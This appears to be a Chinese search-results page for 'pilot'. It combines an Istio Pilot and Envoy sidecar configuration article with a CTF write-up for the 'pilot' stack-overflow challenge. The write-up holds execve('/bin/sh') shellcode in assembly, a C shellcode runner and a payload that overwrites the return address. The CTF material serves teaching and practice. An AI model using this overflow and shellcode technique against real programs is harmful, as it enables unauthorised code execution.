精华内容
下载资源
问答
  • Pilot

    2019-04-15 17:02:16
    Pilot高层架构 Pilot在Istio的控制面板中负责流量管理 Istio流量管理相关组件 图中红色的线表示控制流,黑色的线表示数据流。蓝色部分为和Pilot相关的组件。 控制面板组件 Discovery Services 对应的docker为...

    流量管理机制

    Pilot高层架构

    Pilot在Istio的控制面板中负责流量管理

    Istio流量管理相关组件

    图中红色的线表示控制流,黑色的线表示数据流。蓝色部分为和Pilot相关的组件。

    控制面板组件

    • Discovery Services

    对应的docker为istio-release/pilot,进程为pilot-discovery,该组件的功能包括:

    • 从Service provider(如kubernetes)中获取服务信息
    • 从K8S API Server中获取流量规则(K8S CRD Resource)
    • 将服务信息和流量规则转化为数据面可以理解的格式,通过标准的数据面API下发到网格中的各个sidecar中。
    • K8S API Server

    提供Pilot相关的CRD Resource的增、删、改、查。和Pilot相关的CRD有以下几种:

    • Virtualservice:用于定义路由规则,如根据来源或 Header 制定规则,或在不同服务版本之间分拆流量。
    • DestinationRule:定义目的服务的配置策略以及可路由子集。策略包括断路器、负载均衡以及 TLS 等。
    • ServiceEntry:用 ServiceEntry 可以向Istio中加入附加的服务条目,以使网格内可以向istio 服务网格之外的服务发出请求。
    • Gateway:为网格配置网关,以允许一个服务可以被网格外部访问。
    • EnvoyFilter:可以为Envoy配置过滤器。由于Envoy已经支持Lua过滤器,因此可以通过EnvoyFilter启用Lua过滤器,动态改变Envoy的过滤链行为。

    数据面板组件

    在数据面有两个进程Pilot-agent和envoy,这两个进程被放在一个docker容器gcr.io/istio-release/proxyv2中。

    • Pilot-agent
      该进程根据K8S API Server中的配置信息生成Envoy的配置文件,并负责启动Envoy进程。注意Envoy的大部分配置信息都是通过xDS接口从Pilot中动态获取的,因此Agent生成的只是用于初始化Envoy的少量静态配置。在后面的章节中,本文将对Agent生成的Envoy配置文件进行进一步分析。
    • Envoy
      Envoy由Pilot-agent进程启动,启动后,Envoy读取Pilot-agent为它生成的配置文件,然后根据该文件的配置获取到Pilot的地址,通过数据面标准API的xDS接口从pilot拉取动态配置信息,包括路由(route),监听器(listener),服务集群(cluster)和服务端点(endpoint)。Envoy初始化完成后,就根据这些配置信息对微服务间的通信进行寻址和路由。
      image

    XDS服务接口

    为了避免Envoy配置数据更新过程中出现流量丢失的情况,xDS接口应采用下面的顺序:

    1. CDS (Cluster Discovery Service) 首先更新Cluster数据(如果有变化)
    2. EDS (Endpoint Discovery Service) 更新相应Cluster的Endpoint信息(如果有变化)
    3. LDS (Listener Discovery Service) 更新CDS/EDS相应的Listener。
    4. RDS (Route Discovery Service) 最后更新新增Listener相关的Route配置。
    5. 删除不再使用的CDS cluster和 EDS endpoints。

    Envoy

    • Envoy调试方法

    Envoy提供了管理接口,缺省为localhost的15000端口,可以获取listener,cluster以及完整的配置数据导出功能。

    kubectl exec productpage-v1-67c8d9bc58-zq7m2 -c istio-proxy curl http://127.0.0.1:15000/help
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100   823    0   823    0     0   3112      0 --:--:-- --:--:-- --:--:--  5715
    admin commands are:
      /: Admin home page
      /certs: print certs on machine
      /clusters: upstream cluster status
      /config_dump: dump current Envoy configs (experimental)
      /cpuprofiler: enable/disable the CPU profiler
      /healthcheck/fail: cause the server to fail health checks
      /healthcheck/ok: cause the server to pass health checks
      /help: print out list of admin commands
      /hot_restart_version: print the hot restart compatibility version
      /listeners: print listener addresses
      /logging: query/change logging levels
      /quitquitquit: exit the server
      /reset_counters: reset all counters to zero
      /runtime: print runtime values
      /runtime_modify: modify runtime values
      /server_info: print server version/status information
      /stats: print server stats
      /stats/prometheus: print server stats in prometheus format
    
    • 查看Envoy监听端口

    进入productpage pod中的Envoy(istio-proxy) container,查看监听端口

    • 9080: productpage进程对外提供的服务端口
    • 15001: Envoy的入口监听器,iptable会将pod的流量导入该端口中由Envoy进行处理
    • 15000: Envoy管理端口,该端口绑定在本地环回地址上,只能在Pod内访问。
    [root@k8-master-1 ~]# kubectl exec productpage-v1-67c8d9bc58-zq7m2 -c istio-proxy -- netstat -ln
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 127.0.0.1:15000         0.0.0.0:*               LISTEN     
    tcp        0      0 0.0.0.0:9080            0.0.0.0:*               LISTEN     
    tcp        0      0 0.0.0.0:15001           0.0.0.0:*               LISTEN     
    Active UNIX domain sockets (only servers)
    Proto RefCnt Flags       Type       State         I-Node   Path
    

    Envoy启动过程

    Istio通过K8s的Admission webhook机制实现了sidecar的自动注入,Mesh中的每个微服务会被加入Envoy相关的容器。以Porductpage为例,容器中除了productpage之外,istio还为该Pod注入了gcr.io/istio-release/proxy_init和gcr.io/istio-release/proxyv2。

    [root@k8-master-1 ~]# kubectl describe pods productpage-v1-67c8d9bc58-zq7m2  | grep Image:
        Image:         gcr.io/istio-release/proxy_init:1.0.0
        Image:          istio/examples-bookinfo-productpage-v1:1.8.0
        Image:         gcr.io/istio-release/proxyv2:1.0.0
    
    • proxy_init

    Productpage的Pod中有一个InitContainer proxy_init,InitContrainer是K8S提供的机制,用于在Pod中执行一些初始化任务.在Initialcontainer执行完毕并退出后,才会启动Pod中的其它container。

    #查看容器内容,一下截取主要部分
    docker inspect gcr.io/istio-release/proxy_init:1.0.0
    

    image

    Proxy_init中执行的命令是istio-iptables.sh,该脚本的作用是通过配置iptable来劫持Pod中的流量。

    image

    该容器的命令行参数-p 15001,可以得知Pod中的数据流量被iptable拦截,并发向Envoy的15001端口。 -u 1337参数用于排除用户ID为1337,即Envoy自身的流量,以避免Iptable把Envoy发出的数据又重定向到Envoy,形成死循环。

    Proxyv2

    查看容器中的Pilot-agent和envoy两个进程信息

    [root@k8-master-1 ~]# kubectl exec productpage-v1-67c8d9bc58-zq7m2 -c istio-proxy -- ps -ef
    UID         PID   PPID  C STIME TTY          TIME CMD
    istio-p+      1      0  0 01:24 ?        00:00:00 /usr/local/bin/pilot-agent proxy sidecar --configPath /etc/istio/proxy --binaryPath /usr/local/bin/envoy --serviceCluster productpage --drainDuration 45s --parentShutdownDuration 1m0s --discoveryAddress istio-pilot.istio-system:15005 --discoveryRefreshDelay 1s --zipkinAddress zipkin.istio-system:9411 --connectTimeout 10s --statsdUdpAddress istio-statsd-prom-bridge.istio-system:9125 --proxyAdminPort 15000 --controlPlaneAuthPolicy MUTUAL_TLS
    istio-p+     12      1  0 01:24 ?        00:02:20 /usr/local/bin/envoy -c /etc/istio/proxy/envoy-rev0.json --restart-epoch 0 --drain-time-s 45 --parent-shutdown-time-s 60 --service-cluster productpage --service-node sidecar~10.244.1.120~productpage-v1-67c8d9bc58-zq7m2.default~default.svc.cluster.local --max-obj-name-len 189 -l warn --v2-config-only
    

    Pilot-agent进程根据启动参数和K8S API Server中的配置信息生成Envoy的初始配置文件,并负责启动Envoy进程。从ps命令输出可以看到Pilot-agent在启动Envoy进程时传入了pilot地址和zipkin地址,并为Envoy生成了一个初始化配置文件envoy-rev0.json

    • 导出json文件
    kubectl exec productpage-v1-67c8d9bc58-zq7m2 -c istio-proxy -- cat /etc/istio/proxy/envoy-rev0.json > envoy-ev0.json
    
    • 配置文件结构图
      image
    • node

    包含了Envoy所在节点相关信息

      "node": {
        "id": "sidecar~10.244.1.120~productpage-v1-67c8d9bc58-zq7m2.default~default.svc.cluster.local",
        "cluster": "productpage",
    
        "metadata": {
              "INTERCEPTION_MODE": "REDIRECT",
              "ISTIO_PROXY_SHA": "istio-proxy:6166ae7ebac7f630206b2fe4e6767516bf198313",
              "ISTIO_PROXY_VERSION": "1.0.0",
              "ISTIO_VERSION": "1.0.0",
              "POD_NAME": "productpage-v1-67c8d9bc58-zq7m2",
          "istio": "sidecar"
        }
      }
    
    • admin

    配置Envoy的日志路径及管理端口

    "admin": {
        "access_log_path": "/dev/stdout",
        "address": {
          "socket_address": {
            "address": "127.0.0.1",
            "port_value": 15000
          }
        }
      }
    
    • dynamic_resources

    配置动态资源,这里配置的为ads服务器

    "dynamic_resources": {
        "lds_config": {
            "ads": {}
        },
        "cds_config": {
            "ads": {}
        },
        "ads_config": {
          "api_type": "GRPC",
          "refresh_delay": {"seconds": 1, "nanos": 0},
          "grpc_services": [
            {
              "envoy_grpc": {
                "cluster_name": "xds-grpc"
              }
            }
          ]
        }
      }
    
    • static_resources

    配置静态资源,包括了xds-grpc和zipkin两个cluster。其中xds-grpc cluster对应前面dynamic_resources中ADS配置,指明了Envoy用于获取动态资源的服务器地址。

    "static_resources": {
        "clusters": [
        {
        "name": "xds-grpc",
        "type": "STRICT_DNS",
        "connect_timeout": {"seconds": 10, "nanos": 0},
        "lb_policy": "ROUND_ROBIN",
    
          "tls_context": {
            "common_tls_context": {
              "alpn_protocols": "h2",
              "tls_certificates": {
                "certificate_chain": {
                  "filename": "/etc/certs/cert-chain.pem"
                },
                "private_key": {
                  "filename": "/etc/certs/key.pem"
                }
              },
              "validation_context": {
                "trusted_ca": {
                  "filename": "/etc/certs/root-cert.pem"
                },
                "verify_subject_alt_name": [
                  "spiffe://cluster.local/ns/istio-system/sa/istio-pilot-service-account"
                ]
              }
            }
          }
    
    • tracing

    配置分布式链路跟踪

    "tracing": {
        "http": {
          "name": "envoy.zipkin",
          "config": {
            "collector_cluster": "zipkin"
          }
        }
      }
    
    • stats_sinks

    这里配置的是和Envoy直连的metrics收集sink,和Mixer telemetry没有关系。Envoy自带stats格式的metrics上报。

    "stats_sinks": [
        {
          "name": "envoy.statsd",
          "config": {
            "address": {
              "socket_address": {"address": "10.100.26.51", "port_value": 9125}
            }
          }
        }
      ]
    

    Envoy配置分析

    • Envoy配置初始化流程
      image
    • Pilot-agent根据启动参数和K8S API Server中的配置信息生成Envoy的初始配置文件envoy-rev0.json,该文件告诉Envoy从xDS server中获取动态配置信息,并配置了xDS server的地址信息,即控制面的Pilot。
    • Pilot-agent使用envoy-rev0.json启动Envoy进程。
    • Envoy根据初始配置获得Pilot地址,采用xDS接口从Pilot获取到Listener,Cluster,Route等d动态配置信息。
    • Envoy根据获取到的动态配置启动Listener,并根据Listener的配置,结合Route和Cluster对拦截到的流量进行处理。
    展开全文
  • pilot

    2019-07-10 13:36:00
    mt01 转载于:https://www.cnblogs.com/kobear/p/11163349.html

    mt01

    转载于:https://www.cnblogs.com/kobear/p/11163349.html

    展开全文
  • Pilot Name

    2020-11-25 02:01:31
    <div><p>Adding the ability to have a pilot name as well as craft name. <ul><li>Added pilot name to config</li><li>Added to backup/restore </li><li>Added to OSD</li></ul> <p>...
  • Cassandra pilot

    2020-12-02 16:07:01
    <div><ul><li>A pilot command for managing a Cassandra subprocess</li><li>Installed into the Cassandra container via an InitContainer</li><li>Watches for a Pilot resource with the name and namespace, ...
  • Pilot Phase

    2020-11-23 05:27:25
    <p>The goal of our pilot phase is to gather feedback from a private group of users. Therefore, during this phase, we kindly ask you to: <ul><li>not publicly promote or link us yet: (no tweets, blog ...
  • RADICAL-Pilot(RP)是用Python编写的Pilot系统,专门用于在高性能计算(HPC)平台上执行由许多计算任务组成的应用程序。 作为试点系统,RP将资源获取与使用这些资源执行应用程序任务区分开来。 通过将作业提交到...
  • log-pilot log-pilot is an awesome docker log tool. With log-pilot you can collect logs from docker hosts and send them to your centralized log system such as elasticsearch, graylog2, awsog and etc. ...
  • Elf-Elfos-Pilot:用于ElfOS的PILOT编程语言解释器
  • gcp-pilot-源码

    2021-03-19 14:52:03
    Google Cloud Pilot 安装 pip install gcp-pilot 一些API需要额外的软件包,因此必须使用extras添加这些: 云任务: pip install gcp-pilot[tasks] 云构建: pip install gcp-pilot[build] 云存储: pip install gcp...
  • Code Pilot

    2014-05-07 12:45:50
    Code Pilot 是一个 Xcode 5 插件,允许你不许使用鼠标就能快速地查找项目内的文件、方法和标识符。它使用模糊查询匹配(fuzzy query matching)去计算出一个根据相关性排序好结果列表;通过少许的按键你就可以跳到你...
  • Pilot Pioneer

    2011-03-02 19:35:34
    Pilot Pioneer 使用手册简明易懂
  • Pilot源码解析

    2021-03-17 11:32:05
    Pilot路由配置下发 Pilot本地配置监听

    Pilot路由配置下发

    Pilot本地配置监听

         

     

    展开全文
  • Pilot Pioneer说明书

    2017-08-23 17:01:35
    Pilot Pioneer说明书
  • Delete a pilot

    2020-12-08 21:00:22
    <div><p>Delete a pilot or a club member if he/she is created by you.</p><p>该提问来源于开源项目:skylines-project/skylines</p></div>
  • Pilot Assist Intergration

    2021-01-04 11:01:25
    http://forum.kerbalspaceprogram.com/threads/100073-1-0-x-Pilot-Assistant-Atmospheric-piloting-aids-1-9-3-%28May-18%29 Github: https://github.com/Crzyrndm/Pilot-Assistant</p> <p>Its basically a ...
  • Updated pilot options

    2020-12-27 20:34:53
    <div><p>pilot no longer use <code>enableProtocolSniffing</code> anymore, it has two separate settings for both inbound and outbound instead.</p><p>该提问来源于开源项目:istio/istio.io</p></div>
  • Pilot_jsPsych-源码

    2021-03-28 20:11:30
    Pilot_jsPsych 这是实验的试验版的代码,其中包含运行文件所需的功能,CSS自定义和变量。
  • Continuous pilot input

    2020-12-28 18:24:32
    <p>The current input system (served through <code>Pilot</code>s) is a set of boolean values -- <code>isUp</code> for acceleration, <code>isLeft</code> for turning left, and <code>isRight</code> for ...
  • Pilot ready branch

    2020-11-27 12:43:49
    <p>With we thought that it might be interesting to work on a pilot ready branch of Sovereign. <p>The idea behing this would be to enable easy customization of Sovereign for the local context that ...
  • :victory_hand: orca-touchdesigner-pilot-tox 我想从ORCA操作TouchDesigner和Pilot。这是链接ORCA,TouchDesigner和Pilot的简单毒素。它从Orca接收UDP,并将其解析为CHOP,然后代理给Pilot。 centrabbits / Orca:...
  • Update pilot documentation

    2020-12-09 07:14:46
    I have to add the <code>itc_provider</code> parameter to <code>pilot</code> function. I spent some time to find out what the <code>itc_provider</code> and <p>The provider short name to be used with ...
  • pilot.github.io-源码

    2021-04-01 01:09:33
    pilot.github.io
  • istio-pilot.tar

    2020-08-22 15:36:09
    istio-pilot.tar镜像,istio架构组成部分;方便下载,避免镜像下载时过慢的情况,下载完成后可以手动导入镜像。
  • Code Pilot开源Xcode 5插件源码,源码CodePilot,Code Pilot是一个开源的Xcode 5插件,可帮你快速查找项目中的文件、方法以及符号,无需鼠标。Code Pilot使用模糊查询匹配来计算结果列表,并按照相关性进行排序。 ...
  • shellcode-Pilot

    2018-08-27 15:53:07
    shellcode-Pilot 题目描述 CSAW 2017 Quals - ‘pilot’ writeup 本人做的是实验吧上边的pilot;和CSAW上边的pilot完全一样。 首先下载文件 file pilot #看到是64bit-elf;一会使用ida64打开 checksec #...

    shellcode-Pilot

    题目描述

    CSAW 2017 Quals - ‘pilot’

    writeup

    本人做的是实验吧上边的pilot;和CSAW上边的pilot完全一样。

    首先下载文件

    file pilot #看到是64bit-elf;一会使用ida64打开
    checksec #发现没有开启任何保护;

    使用IDA-pro打开后F5热键查看源码,可以看到程序运行流程。

    前边很多很多行都是输出,关键在于下边看到的,它将buf数组的首地址给出,接下来可以向buf读入数据。buf实际大小应为0x20(32bytes),但是read()可以读入0x40(64bytes内容)。存在缓冲区溢出。

    bufaddress

    解题思路

    程序会输出buf首地址!

    两种途径可以找到攻击思路:

    gdb调试
    pattern_create
    pattern_offset
    gdb.attach()
    gdb pilot

    首先,gdb pilot;pattern_create100;r

    可以看到程序发生segmentation fault;发生错误的位置为:ret;此时应当是返回到一个地址继续执行,但是由于此时栈顶不是一个可执行地址,因此发生错误。

    而我们可以知道栈顶此时存放的应该是read()函数的Ret_address,我们使用pattern_offset可以确认offset=40;也就是说read()函数读入的40bytes之后的8byts是返回地址,而这个内容是可控的。

    于是就可以构造Exploit代码,获取shell。

    checksec发现没有开启栈不可执行,所以我们可以考虑构造shellcode,利用read()读入到stack中,然后通过控制ret_address到栈上,运行shellcode,从而获取shell权限。

    pattern_offset

    对函数栈的理解
    调用函数的过程大致是
    1:将参数从右到左压入堆栈
    2:将下一条指令的地址压入堆栈
    3:函数内部的临时变量申请
    4:函数调用完成,退出
    内存栈区从高到低
    [参数][返回地址][old ebp][函数内部变量空间]
    #内存栈区分布情况会因系统和编译器有所不同
    如上程序,如果函数内部变量空间比较小,执行read()时候,就会覆盖函数返回地址,导致程序流程变化

    我们知道buf大小为0x20;[32bytes-40bytes]即为old-ebp;[40bytes-48bytes]即为返回地址。那么我们只需要构造小于40bytes的shellcode,然后将[40bytes-48bytes]赋值为buf首地址就可以了。

    为了确认栈布局,可以通过IDA进行确认。

    stack

    难点

    shellcode构造

    学习了一下如何构造shellcode;但最后还是看了别人的writeup解出来的题目。

    exev()和exit()或者int 0x80等内容都比较好理解,但是最不明白的就是:

    如何在不解析libc文件的情况下拿到字符串“/bin/sh”?

    因为如果要通过libc二进制解析拿到”/bin/sh”的话,就需要offset、libc_base;这个时候还不如直接使用one_gadget,于是有会涉及到内存地址泄露…..等内容。

    https://github.com/isislab/Shellcode这里给出了很多shellcode

    我学习的writeup里边使用的是/Shellcode/64BitLocalBinSh/

    shellcode构造学习

    【干货分享】手把手简易实现shellcode及详解

    - 软中断
    - Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符
    - exceve函数是通过调用软中断int 0x80进入ring0
    #include<unistd.h>
    #include<stdlib.h>
    char *buf[]={"/bin/sh",NULL};
    void main()
    {
        execve(”/bin/sh“,buf,0);
        exit(0);
    }

    构造思路主要是将上述代码中的汇编指令中的关键指令提取出来,构造与execve(“/bin/sh”,buf,NULL)功能等价的极简汇编代码段。

    构造思路为:

    使用int 0x80软中断调用
    - eax系统调用号
    - ebx第一个参数;ecx第二个参数;edx第三个参数...

    汇编形式编写的shellcode代码:

    section .text
    global _start
    _start:
    xor eax,eax
    push eax        ;"\x00"
    push 0x68732f2f ;"//sh"入栈
    push 0x6e69622f ;"/bin"入栈
    mov ebp,esp     ;ebp=esp"/bin//sh"的地址
    push eax        ;"\0x00"入栈
    push ebx        ;"/bin//sh"地址入栈
    mov ecx,esp     ;ecx=esp为指针数组地址
    xor edx,edx     ;edx=0
    mov al,0xb      ;al=11 execve的系统调用号
    int 0x80        ;软中断指令

    img

    本题shellcode解释
    ;; 021813
        ;; Evan Jensen 64bit localshellcode
        ;; RDI, RSI, RDX, RCX, R8, and R9 then stack        
    BITS 64
    %include "short64.s"
    global main
    
    main:
        xor  eax, eax
        push rax
        mov  rdi, 0x68732f2f6e69622f ;/bin//sh
        push rdi
    
        mov  al,  execve
        mov  rdi, rsp
        xor  esi, esi
        xor  edx, edx
        syscall

    本题使用的shellcode不是使用int80软中断,而是调用了syscall()。

    最后5行为syscall()对应的汇编代码。

    技能学习

    几乎没有保护……

    所以可以构造栈上执行

    内存地址泄露?

    Shellcode?

    如果是泄漏内存地址的话,setvbuf()是可以的 plt 0x400800 0x602018

    read()地址肯定会需要…… ptl 400820 0x602028

    readelf -l filename | grep stack
    gcc -z execstack -o shellcode shellcode.c
    disas main
    x /10c $ebx
    x /2wx $ecx
    p $edx
    p /x $eax
    nasm -f elf retsh.asm
    ld -o retsh retsh.o
    objdump -d retsh
    python -c 'print "A"*100' | ./pilot
    gdb: run<<(python -c 'print "A"*100')
    
    # read response until "Location:" string is found
    r.recvuntil('Location:')
    
    # store "Location" address in variable
    address = r.recvuntil('\n')[:-1]
    
    payload=shellcode+'A'*(40-len(shellcode))+p64(int(address,16))# append "Location" address as little-endian, 64-bit address话说是不是什么时候还会用到big-endians
    因为调用函数的过程大致是
    1:将参数从右到左压入堆栈
    2:将下一条指令的地址压入堆栈
    3:函数内部的临时变量申请
    4:函数调用完成,退出
    内存栈区从高到低
    [参数][ebp][返回地址][函数内部变量空间]
    如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化
    segmentation fault. This error tells us that the process is attempting to access an invalid or restricted memory address.
    [正常的字符串][jmp esp的地址][执行的代码(shellcode)]
    //三种方式执行shellcode
        //第一种
        ((void (*)())&shellcode)(); // 执行shellcode
        //第二种
        __asm   
       {   
          lea eax,shellcode;   
          jmp eax;   
       } 
       //第三种
        __asm
       {
          lea eax, shellcode
          push eax
          ret 
       }
    我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句: 
    pushl %ebp 
    movl %esp,%ebp 
    subl $8,%esp 
    parser = argparse.ArgumentParser(description='pwntools skeleton')
    parser.add_argument('-l', action="store_true", default=False)
    args = parser.parse_args()
    展开全文
  • Laravel开发-laravel-pilot

    2019-08-28 11:18:57
    Laravel开发-laravel-pilot 此包是用于Laravel框架的Pilot CRM API客户端PHP类的包装。
  • -Either edit the helicopter pilot trait to have a more generic description or add a new trait unique to the military pilot (Done, edited the existing trait description) -add a leg ammo pouch with 2 ...
  • muffin-pilot:松饼msa

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,915
精华内容 1,566
关键字:

pilot